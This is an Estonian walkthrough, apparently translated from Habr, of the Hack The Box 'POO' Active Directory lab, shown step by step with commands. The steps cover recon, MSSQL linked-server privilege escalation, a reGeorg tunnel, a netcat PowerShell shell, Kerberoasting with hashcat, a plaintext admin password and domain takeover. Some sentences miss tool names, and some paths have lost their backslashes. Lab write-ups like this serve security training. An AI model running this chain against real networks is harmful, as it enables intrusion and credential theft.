Selles artiklis analüüsime mitte ainult masina, vaid terve minilabori läbipääsu saidilt
Nagu kirjelduses öeldud, on POO loodud oskuste testimiseks rünnakute kõikides etappides väikeses Active Directory keskkonnas. Eesmärk on ohustada juurdepääsetavat hosti, suurendada privileege ja lõpuks ohustada kogu domeen, kogudes 5 lippu.
Ühendus laboriga toimub VPN-i kaudu. Soovitatav on mitte ühendust luua tööarvutist või hostist, kus on sinu jaoks olulised andmed, kuna satud infoturbe vallas midagi tundvate inimestega privaatvõrku :)
Organisatsiooniline teave
Olen loonud, et aidata teil olla kursis uute artiklite, tarkvara ja muu teabega
Kogu teave on esitatud ainult hariduslikel eesmärkidel. Selle dokumendi autor ei võta endale mingit vastutust kahju eest, mis on kellelegi tekitatud selle dokumendi uurimisel saadud teadmiste ja tehnikate kasutamise tõttu.
tutvustus
See lõppmäng koosneb kahest masinast ja sisaldab 5 lippu.
Samuti on antud saadaoleva hosti kirjeldus ja aadress.
Alustame!
Luure lipp
Selle masina IP-aadress on 10.13.38.11, mille ma lisan kausta /etc/hosts.
10.13.38.11 poo.htb
Kõigepealt skannime avatud porte. Kuna kõigi portide skannimine nmapiga võtab kaua aega, teen seda esmalt masscani abil. Skaneerime kõik TCP ja UDP portid tun0 liidesest kiirusega 500 paketti sekundis.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Nüüd, et saada üksikasjalikumat teavet pordides töötavate teenuste kohta, käivitame skannimise valikuga -A.
nmap -A poo.htb -p80,1433
Seega on meil IIS- ja MSSQL-teenused. Sel juhul saame teada domeeni ja arvuti tegeliku DNS-nime. Veebiserveris tervitab meid IIS-i koduleht.
Käime läbi kataloogid. Ma kasutan selleks gobusterit. Parameetrites märgime lõimede arvu 128 (-t), URL-i (-u), sõnastikku (-w) ja meid huvitavaid laiendusi (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
See annab meile HTTP-autentimise kataloogi /admin jaoks ning juurdepääsetava töölauateenuse .DS_Store faili. .DS_Store on failid, mis salvestavad kausta kohandatud sätteid, nagu failide loend, ikooni asukohad ja valitud taustpilt. Selline fail võib sattuda veebiarendajate veebiserveri kataloogi. Sel viisil saame teavet kataloogi sisu kohta. Selleks saate kasutada
python3 dsstore_crawler.py -i http://poo.htb/
Saame kataloogi sisu. Kõige huvitavam on siin /dev kataloog, kust saame vaadata allikaid ja db-faile kahes harus. Kui teenus on IIS ShortName'i suhtes haavatav, saame kasutada faili- ja katalooginimede kuut esimest tähemärki. Seda haavatavust saate kontrollida kasutades
Ja leiame ühe tekstifaili, mis algab tähega "poo_co". Teadmata, mida edasi teha, valisin lihtsalt kataloogisõnastikust kõik sõnad, mis algavad tähega “co”.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Ja me lahendame selle wfuzzi abil.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Ja leiame õige sõna! Vaatame seda faili, salvestame volikirjad (parameetri DBNAME järgi otsustades on need pärit MSSQL-ist).
Loovutame lipu ja anname 20% edasi.
Huh lipp
Ühendame MSSQL-iga, mina kasutan DBeaverit.
Me ei leia sellest andmebaasist midagi huvitavat, loome SQL-i redaktori ja kontrollime, millised kasutajad seal on.
SELECT name FROM master..syslogins;
Meil on kaks kasutajat. Kontrollime oma privileege.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Seega privileege pole. Vaatame lingitud servereid, ma kirjutasin selle tehnika kohta üksikasjalikult
SELECT * FROM master..sysservers;
Nii leiame teise SQL-serveri. Testime selles serveris käskude täitmist openquery() abil.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Ja me saame isegi luua päringupuu.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Asi on selles, et kui teeme päringu lingitud serverile, täidetakse päring teise kasutaja kontekstis! Vaatame, millise kasutaja kontekstis me lingitud serveris töötame.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Nüüd vaatame, millises kontekstis lingitud serverist meie serverisse päring tehakse!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Seega peaks DBO kontekstil olema kõik õigused. Kontrollime õigusi lingitud serveri päringu korral.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Nagu näete, on meil kõik privileegid! Loome endale sellise adminni. Kuid nad ei luba seda avatud päringu kaudu, teeme seda käsu EXECUTE AT kaudu.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Ja nüüd loome ühenduse uue kasutaja mandaatidega, jälgime uut lippude andmebaasi.
Anname selle lipu kätte ja läheme edasi.
BackTrack lipp
Võtame MSSQL-i abil shelli, mina kasutan impacket paketist mssqlclienti.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Peame hankima paroolid ja esimene asi, mida oleme juba kohanud, on veebisait. Seega vajame veebiserveri konfiguratsiooni (mugavat kesta pole võimalik jätta, ilmselt tulemüür töötab).
Kuid juurdepääs on keelatud. Kuigi saame faili lugeda MSSQL-ist, peame lihtsalt teadma, millised programmeerimiskeeled on konfigureeritud. Ja MSSQL-i kataloogist saame teada, et seal on Python.
Siis pole probleemi web.config faili lugemisega.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Leitud mandaatidega minge /admin ja võtke lipp.
Jalalipp
Tegelikult on tulemüüri kasutamisega kaasnevad ebamugavused, kuid võrguseadeid sirvides märkame, et kasutusel on ka IPv6!
Lisame selle aadressi kausta /etc/hosts.
dead:babe::1001 poo6.htb
Skaneerime hosti uuesti, kuid kasutades IPv6 protokolli.
Ja WinRM-i teenus on saadaval IPv6 kaudu. Võtame ühendust leitud mandaatidega.
Töölaual on lipp, anname selle üle.
P00red lipp
Pärast luure läbiviimist peremehel kasutades
setspn.exe -T intranet.poo -Q */*
Käivitame käsu MSSQL-i kaudu.
Seda meetodit kasutades saame kasutajate SPN-i p00_hr ja p00_adm, mis tähendab, et nad on haavatavad selliste rünnakute suhtes nagu Kerberoasting. Lühidalt, saame nende parooliräsid kätte.
Kõigepealt peate hankima MSSQL-i kasutajana stabiilse kesta. Kuid kuna meil on juurdepääs piiratud, suhtleme hostiga ainult portide 80 ja 1433 kaudu. Aga läbi sadama 80 on võimalik liiklust tunneldada! Selleks kasutame
Kuid kui proovime sellele juurde pääseda, saame vea 404. See tähendab, et *.aspx-faile ei käivitata. Nende laienditega failide käivitamiseks installige ASP.NET 4.5 järgmiselt.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Ja nüüd tunnel.aspx-i juurde pääsedes saame vastuse, et kõik on tööks valmis.
Käivitame rakenduse kliendiosa, mis edastab liiklust. Edastame kogu liikluse pordist 5432 serverisse.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Ja me kasutame puhverserveri kaudu mis tahes rakenduse liikluse saatmiseks puhverserverit. Lisame selle puhverserveri konfiguratsioonifaili /etc/proxychains.conf.
Nüüd laadime programmi serverisse
Nüüd käivitame kuulaja MSSQL-i kaudu.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Ja me ühendame oma puhverserveri kaudu.
proxychains rlwrap nc poo.htb 4321
Ja võtame räsi.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Järgmisena peate neid räsi kordama. Kuna rockyou sõnastik neid paroole ei sisaldanud, siis kasutasin KÕIKI Seclistides pakutavaid paroolide sõnastikke. Otsinguks kasutame hashcati.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Ja mõlemad paroolid leiame, esimese sõnastikust dutch_passwordlist.txt ja teise failist Keyboard-Combinations.txt.
Ja nii on meil kolm kasutajat, läheme domeenikontrolleri juurde. Kõigepealt saame teada tema aadressi.
Suurepärane, saime teada domeenikontrolleri IP-aadressi. Uurime välja kõik domeeni kasutajad ja ka selle, kes neist on administraator. Skripti allalaadimiseks teabe hankimiseks PowerView.ps1. Seejärel loome ühenduse evil-winrm abil, täpsustades kataloogi skriptiga parameetris -s. Ja siis laadime lihtsalt PowerView skripti.
Nüüd on meil juurdepääs kõigile selle funktsioonidele. Kasutaja p00_adm näeb välja nagu privilegeeritud kasutaja, seega töötame tema kontekstis. Loome selle kasutaja jaoks PSCredential objekti.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Nüüd käivitatakse kõik Powershelli käsud, kus me määrame Creds, kui p00_adm. Kuvame kasutajate loendi ja atribuudi AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Ja nii on meie kasutajal tõesti privilegeeritud. Vaatame, mis rühmadesse ta kuulub.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Lõpuks kinnitame, et kasutaja on domeeni administraator. See annab talle õiguse kaugjuhtimisega domeenikontrollerisse sisse logida. Proovime oma tunneli abil WinRM-i kaudu sisse logida. Mind ajasid segadusse vead, mida reGeorg evil-winrm kasutamisel tekitas.
Siis kasutame teist, lihtsamat,
Püüame ühendust luua ja oleme süsteemis.
Aga lippu pole. Seejärel vaadake kasutajat ja kontrollige töölaudu.
Lipu leiame mr3ks ja labor on 100% valmis.
See on kõik. Palun kommenteerige, kas saite sellest artiklist midagi uut teada ja kas see oli teile kasulik.
Meiega saad liituda aadressil
Allikas: www.habr.com